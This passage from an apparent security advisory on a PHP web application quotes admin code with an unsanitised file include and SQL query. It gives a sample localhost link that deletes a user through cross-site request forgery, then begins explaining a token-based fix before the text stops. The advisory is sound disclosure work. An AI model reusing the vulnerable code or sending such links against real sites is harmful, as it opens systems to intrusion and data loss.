  1035. - Code snippet from includes/pages/admin.php
  1036.  
  1037. --------------------------------------------------------------------
  1038. if ($_GET['act'] == '') {
  1039. include "includes/pages/admin/home.php";
  1040. } else {
  1041. include "includes/pages/admin/" . $_GET['act'] . ".php";
  1042. --------------------------------------------------------------------
  1043.  
  1044. Here we can see how the "includes/pages/admin/members.php" is included in
  1045. this file.If "act=members" the file below will be included.
  1046.  
  1047.  
  1048. - Code snippet from includes/pages/admin/members.php
  1049.  
  1050. ----------------------------------------------------------------------------------------------
  1051. if ($_GET['func'] == 'delete') {
  1052. $del_id = $_GET['id'];
  1053. $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
  1054. $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
  1055. while ($results2121 = mysql_fetch_array($result2121)) {
  1056. $their_role = $results2121['ROLE'];
  1057. }
  1058. if ($their_role != '1') {
  1059. mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
  1060. ());
  1061. ----------------------------------------------------------------------------------------------
  1062.  
  1063. We can see here that if "func=delete" will be called by URL,the script will
  1064. delete from the database a user with the specified ID ( $id ) without any
  1065. confirmation.Example :
  1066.  
  1067. http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
  1068.  
  1069. The script check if the admin is logged in so if we trick the admin to click
  1070. our evil link the user who have the specified ID in the database will be deleted
  1071. without any confirmation.
  1072.  
  1073.  
  1074. 13.2 - How to fix
  1075.  
  1076.  
  1077. - Simple way : Use tokens.At each login,generate a random token and save it
  1078. in the session.Request the token in URL to do administrative
  1079. actions,if the token missing or is wrong,don't execute the
  1080. action.I will show you only how to to check if the token
  1081. is present and is correct.Example :
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement